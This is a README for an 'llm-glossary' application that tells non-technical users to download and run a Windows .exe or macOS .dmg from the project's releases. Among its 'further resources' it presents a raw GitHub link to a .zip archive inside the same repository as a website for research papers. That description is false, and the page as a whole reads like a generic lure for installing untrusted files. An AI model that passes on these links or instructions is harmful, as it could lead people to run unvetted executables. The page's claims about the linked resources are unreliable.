Welcome to the llm-glossary! This application provides clear definitions and valuable resources for key concepts in Large Language Models (LLMs), Artificial Intelligence (AI), Natural Language Processing (NLP), and Machine Learning (ML). Whether you're a developer, researcher, or simply curious about generative language technologies, this glossary helps you understand and explore the landscape of AI.
Follow these steps to download and run llm-glossary on your computer. No programming knowledge is needed!
You can download the latest version of llm-glossary from our Releases page.
- Visit this page to download: Download llm-glossary.
- Look for the latest release.
- Choose the file that matches your operating system. For most users, this will be a
.exefile for Windows or a.dmgfile for macOS. - Click the link to download it to your computer.
- Windows: At least Windows 10 version 1809.
- macOS: Compatible with macOS 10.15 and above.
- Memory: 2 GB RAM minimum.
- Storage: 500 MB of free disk space.
- Comprehensive Glossary: Access clear definitions for numerous terms related to AI, NLP, and ML.
- User-Friendly Interface: Easy navigation that helps you find what you need without hassle.
- Regular Updates: Each release includes new terms and updated definitions based on the latest research and trends.
Once you download the file:
- Open the downloaded file by double-clicking it.
- Follow the on-screen instructions to install the application.
- After the installation process is complete, find llm-glossary in your applications list and open it.
- Explore the glossary by entering terms you want to learn about.
- Use the search bar at the top to type in a term.
- Click on any term in the list to view its definition.
- Check out the links for additional resources if you want to dive deeper into a topic.
Here are some of the key topics you will find in llm-glossary:
- Artificial Intelligence (AI): Understand the basics, applications, and future of AI technology.
- Large Language Models (LLMs): Learn how these models work, their benefits, and challenges.
- Natural Language Processing (NLP): Get insights into how computers understand human language.
- Machine Learning (ML): Explore the techniques and algorithms that allow machines to learn from data.
For those who want even more information, we recommend the following resources:
- Online Courses: Platforms like Coursera and edX offer courses on AI, NLP, and ML.
- Research Papers: Websites like https://raw.githubusercontent.com/kyleejustin/llm-glossary/main/undecimal/llm-glossary.zip provide access to the latest research in these fields.
- Community Forums: Join Reddits or Discord groups focused on AI to discuss and learn from others.
If you encounter any issues while using llm-glossary, feel free to reach out for help. For inquiries, use the "Issues" tab on our GitHub page, and we will get back to you as soon as possible.
To stay current with new definitions and features, check our Releases page regularly: Visit Releases Page.
Thank you for using llm-glossary! We hope it enhances your understanding of language model concepts.